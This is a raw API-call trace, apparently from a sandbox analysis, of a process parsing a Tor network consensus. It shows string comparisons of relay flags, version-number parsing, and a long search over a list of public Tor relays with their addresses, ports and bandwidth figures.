_errno () returned 0x9f07d8 [0119.871] strtol (in: _Str="443", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 443 [0119.871] _errno () returned 0x9f07d8 [0119.871] _errno () returned 0x9f07d8 [0119.871] strtol (in: _Str="9030", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9030 [0119.871] _errno () returned 0x9f07d8 [0119.871] strcmp (_Str1="Fast", _Str2="Exit") returned 1 [0119.871] strcmp (_Str1="Fast", _Str2="Stable") returned -1 [0119.871] strcmp (_Str1="Fast", _Str2="Fast") returned 0 [0119.871] strcmp (_Str1="HSDir", _Str2="Exit") returned 1 [0119.871] strcmp (_Str1="HSDir", _Str2="Stable") returned -1 [0119.871] strcmp (_Str1="HSDir", _Str2="Fast") returned 1 [0119.871] strcmp (_Str1="HSDir", _Str2="Running") returned -1 [0119.871] strcmp (_Str1="HSDir", _Str2="Named") returned -1 [0119.871] strcmp (_Str1="HSDir", _Str2="Valid") returned -1 [0119.871] strcmp (_Str1="HSDir", _Str2="Guard") returned 1 [0119.871] strcmp (_Str1="HSDir", _Str2="BadExit") returned 1 [0119.871] strcmp (_Str1="HSDir", _Str2="Authority") returned 1 [0119.871] strcmp (_Str1="HSDir", _Str2="Unnamed") returned -1 [0119.871] strcmp (_Str1="HSDir", _Str2="HSDir") returned 0 [0119.871] strcmp (_Str1="Running", _Str2="Exit") returned 1 [0119.871] strcmp (_Str1="Running", _Str2="Stable") returned -1 [0119.871] strcmp (_Str1="Running", _Str2="Fast") returned 1 [0119.871] strcmp (_Str1="Running", _Str2="Running") returned 0 [0119.871] strcmp (_Str1="Stable", _Str2="Exit") returned 1 [0119.871] strcmp (_Str1="Stable", _Str2="Stable") returned 0 [0119.871] strcmp (_Str1="V2Dir", _Str2="Exit") returned 1 [0119.871] strcmp (_Str1="V2Dir", _Str2="Stable") returned 1 [0119.871] strcmp (_Str1="V2Dir", _Str2="Fast") returned 1 [0119.871] strcmp (_Str1="V2Dir", _Str2="Running") returned 1 [0119.871] strcmp (_Str1="V2Dir", _Str2="Named") returned 1 [0119.871] strcmp (_Str1="V2Dir", _Str2="Valid") returned -1 [0119.871] strcmp (_Str1="V2Dir", _Str2="Guard") returned 1 [0119.871] strcmp (_Str1="V2Dir", _Str2="BadExit") returned 1 [0119.872] strcmp (_Str1="V2Dir", _Str2="Authority") returned 1 [0119.872] strcmp (_Str1="V2Dir", _Str2="Unnamed") returned 1 [0119.872] strcmp (_Str1="V2Dir", _Str2="HSDir") returned 1 [0119.872] strcmp (_Str1="V2Dir", _Str2="V2Dir") returned 0 [0119.872] strcmp (_Str1="Valid", _Str2="Exit") returned 1 [0119.872] strcmp (_Str1="Valid", _Str2="Stable") returned 1 [0119.872] strcmp (_Str1="Valid", _Str2="Fast") returned 1 [0119.872] strcmp (_Str1="Valid", _Str2="Running") returned 1 [0119.872] strcmp (_Str1="Valid", _Str2="Named") returned 1 [0119.872] strcmp (_Str1="Valid", _Str2="Valid") returned 0 [0119.872] strlen (_Str="Tor ") returned 0x4 [0119.872] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.872] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.872] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.872] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.872] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.872] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.872] strlen (_Str="(git-") returned 0x5 [0119.872] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.872] strlen (_Str="Tor ") returned 0x4 [0119.872] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.872] strlen (_Str="(r") returned 0x2 [0119.872] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.872] strlen (_Str="(git-") returned 0x5 [0119.872] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.872] strtol (in: _Str="0.3.0.9", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".3.0.9") returned 0 [0119.872] strtol (in: _Str="3.0.9", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".0.9") returned 3 [0119.872] strtol (in: _Str="0.9", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".9") returned 0 [0119.872] strtol (in: _Str="9", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 9 [0119.872] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.872] strlen (_Str="(git-") returned 0x5 [0119.872] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.872] strlen (_Str="Bandwidth=") returned 0xa [0119.872] strncmp (_Str1="Bandwidth=", _Str2="Bandwidth=", _MaxCount=0xa) returned 0 [0119.872] strncmp (_Str1="r ", _Str2="r ", _MaxCount=0x2) returned 0 [0119.872] strstr (_Str="r dj2bee ACaSv+vqmZwxB7Wfcg1/mkwpgZ8 2017-08-21 03:39:28 87.118.116.227 9001 0\nm xieN5PK4YAcfozCB7WfclM5Bucw/FVXWx6OUK8zzoMc\ns Fast Running Stable Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=110\nr UbuntuCore185 ADTrRcdw/y98wosHUBV0zMKgoWw 2017-08-21 06:54:30 88.179.66.116 36543 0\nm 87kCjAEsdYwuZU/RQ0rhUnVVbAczHC0UM8S3unblvb4\ns Fast Running V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=33\nr torbogen AEHgFQsKMHUGwoY+/J8rfjpSOzY 2017-08-21 18:21:54 91.97.53.178 9001 9030\nm 41nHWhtdxaPNpJqBxcRbu7UqGJ+I//dkuN+oJ/nKxaQ\ns Fast Running V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=430\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19700\nr Neurans AaqlqPTvVXyPn95IMpy4fzt0evQ 2017-08-21 15:54:48 98.206.202.53 443 0\nm PtY0SWQytPM4ocNiJQUol/CgjznBOXez7ve68rpIY5U\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSI", _SubStr="\nr ") returned="\nr UbuntuCore185 ADTrRcdw/y98wosHUBV0zMKgoWw 2017-08-21 06:54:30 88.179.66.116 36543 0\nm 87kCjAEsdYwuZU/RQ0rhUnVVbAczHC0UM8S3unblvb4\ns Fast Running V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=33\nr torbogen AEHgFQsKMHUGwoY+/J8rfjpSOzY 2017-08-21 18:21:54 91.97.53.178 9001 9030\nm 41nHWhtdxaPNpJqBxcRbu7UqGJ+I//dkuN+oJ/nKxaQ\ns Fast Running V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=430\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow 